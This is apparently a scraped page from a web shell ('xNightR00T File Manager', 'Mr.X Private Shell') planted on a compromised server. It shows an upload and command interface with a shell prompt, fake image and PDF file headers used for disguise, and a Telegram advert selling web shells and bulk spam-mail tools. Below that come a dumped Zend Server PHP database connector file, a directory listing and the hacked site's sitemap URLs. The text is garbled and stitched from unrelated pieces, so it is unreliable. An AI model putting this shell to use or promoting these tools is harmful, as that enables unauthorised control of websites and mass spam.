xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Application\Db;

use ZendServer\FS\FS;
use Zend\Db\Adapter\Adapter;
use ZendServer\Log\Log;
use Zend\ServiceManager\ServiceManager;
use Zend\ServiceManager\AbstractFactoryInterface;
use Bootstrap\Mapper;
use Application\ConfigAwareInterface;
use Zend\ServiceManager\Exception\InvalidArgumentException;
use Zend\EventManager\EventsCapableInterface;
use Zend\EventManager\EventManager;

// service manager aware is required here - during creation of this class, we cannot produce db dependent classes, they will all attempt to build the db
abstract class Connector
{
    const DB_CONTEXT_GUI         = 'guidbadapter';
    const DB_CONTEXT_MONITOR     = 'monitordbadapter';
    const DB_CONTEXT_STATS       = 'statsdbadapter';
    const DB_CONTEXT_DC_STATS    = 'dcstatsdbadapter';
    const DB_CONTEXT_PC_STATS    = 'pcstatsdbadapter';
    const DB_CONTEXT_CODETRACING = 'codetracingdbadapter';
    const DB_CONTEXT_JOBQUEUE    = 'jobqueuedbadapter';
    const DB_CONTEXT_ZSD         = 'zsddbadapter';
    const DB_CONTEXT_ZDD         = 'zddadapter';
    const DB_CONTEXT_BROWSER     = 'browseradapter';
    const DB_CONTEXT_DEVBAR      = 'devbaradapter';
    const DB_CONTEXT_UrlInsight  = 'urlinsightadapter';
    const DB_TYPE_SQLITE         = 'SQLITE';
    
    /**
     * @var array[\Zend\Db\Adapter\Adapter]
     */
    protected static $dbs;

    /**
     * @var array
     */
    protected $dsns = array(
        self::DB_CONTEXT_GUI => 'gui.db',
        self::DB_CONTEXT_MONITOR => 'monitor.db',
        self::DB_CONTEXT_STATS => 'statistics.db',
        self::DB_CONTEXT_DC_STATS => 'datacache_statistics.db',
        self::DB_CONTEXT_PC_STATS => 'pagecache_statistics.db',
        self::DB_CONTEXT_CODETRACING => 'codetracing.db',
        self::DB_CONTEXT_JOBQUEUE => 'jobqueue.db',
        self::DB_CONTEXT_ZSD => 'zsd.db',
        self::DB_CONTEXT_ZDD => 'deployment.db',
        self::DB_CONTEXT_BROWSER => 'browser.db',
        self::DB_CONTEXT_DEVBAR => 'devbar.db',
        self::DB_CONTEXT_UrlInsight => 'urlinsight.db',
    );

    /**
     * @var array
     */
    protected $dbConfig;

    /**
     * @param string $name
     * @return Adapter
     */
    public function createDbAdapter($name)
    {
        $pdoConfig = array();
        if ($this->dbConfig['type'] == self::DB_TYPE_SQLITE) {
            return $this->createSqliteAdapter($name);
        } else {
            return $this->createMysqlAdapter($name);
        }
    }

    /**
     * @param string $name
     * @return \Zend\Db\Adapter\Adapter
     */
    private function createMysqlAdapter($name)
    {
        if (!isset(static::$dbs['mysql'])) {
            $conn      = strtolower($this->dbConfig['type']).":host={$this->dbConfig['host_name']};port={$this->dbConfig['port']}; dbname={$this->dbConfig['name']}";
            $pdoConfig = array(
                'driver' => 'Pdo',
                'dsn' => $conn,
                'username' => $this->dbConfig['user'],
                'password' => $this->dbConfig['password'],
                'driver_options' => array(
                ),
            );

            /* @var Zend\Db\Adapter\Adapter */
            static::$dbs['mysql'] = new Adapter($pdoConfig);

            // update SQL mode (for MySQL 5.7)
            static::$dbs['mysql']
                ->query("SET sql_mode = ''")
                ->execute();
        }

        return static::$dbs['mysql'];
    }

    /**
     * @param string $name
     * @return \Zend\Db\Adapter\Adapter
     */
    private function createSqliteAdapter($name)
    {
        if (!isset($this->dsns[strtolower($name)])) {
            throw new InvalidArgumentException('Unknown database name');
        }

        if (!isset(static::$dbs[$name])) {

            $path      = FS::createPath(getCfgVar('zend.data_dir'), 'db', $this->dsns[strtolower($name)]);
            $pdoConfig = array(
                'driver' => 'Pdo',
                'dsn' => "sqlite:{$path}",
                'username' => '',
                'password' => '',
                'driver_options' => array(
                ),
            );

            $adapter = new Adapter($pdoConfig);
            $adapter->query("PRAGMA busy_timeout=30000");

            //Set WAL mode only ZSR-2123
            // set journal mode from the config if it was set, the default behaviur is PRAGMA journal_mode=='DELETE' in purpose to solve #ZSRV-14461
            if (isset($this->dbConfig['sqlite_journal_mode'])) {
                $sqliteJournalMode = $this->dbConfig['sqlite_journal_mode'];
                $adapter->query("PRAGMA journal_mode={$sqliteJournalMode}");
            }
            //$adapter->query("PRAGMA journal_mode=WAL");

            static::$dbs[$name] = $adapter;

            if (stripos($name, 'gui') !== false) {
                try {
                    $counterObj = $adapter->query('SELECT COUNT(*) counter FROM sqlite_master WHERE type=\'table\' AND name=\'GUI_METADATA\'',
                            Adapter::QUERY_MODE_EXECUTE)->current();
                    if ((!isset($counterObj->counter)) || (!$counterObj->counter)) {
                        $this->getEventManager()->trigger('missingMetadata', null, array('adapter' => $adapter));
                    }
                } catch (\Exception $ex) {
                    Log::emerg($ex->getMessage());
                }
            }
        }
        return static::$dbs[$name];
    }
}

Filemanager

Name Type Size Permission Actions
Adapter Folder 0755
AbstractFactoryConnector.php File 3.34 KB 0644
Connector.php File 5.3 KB 0644
Creator.php File 18.32 KB 0644
DirectivesFileConnector.php File 1.02 KB 0644
MissingDbMetadataException.php File 471 B 0644
SqliteDbCreator.php File 1.53 KB 0644
TableGateway.php File 3.12 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml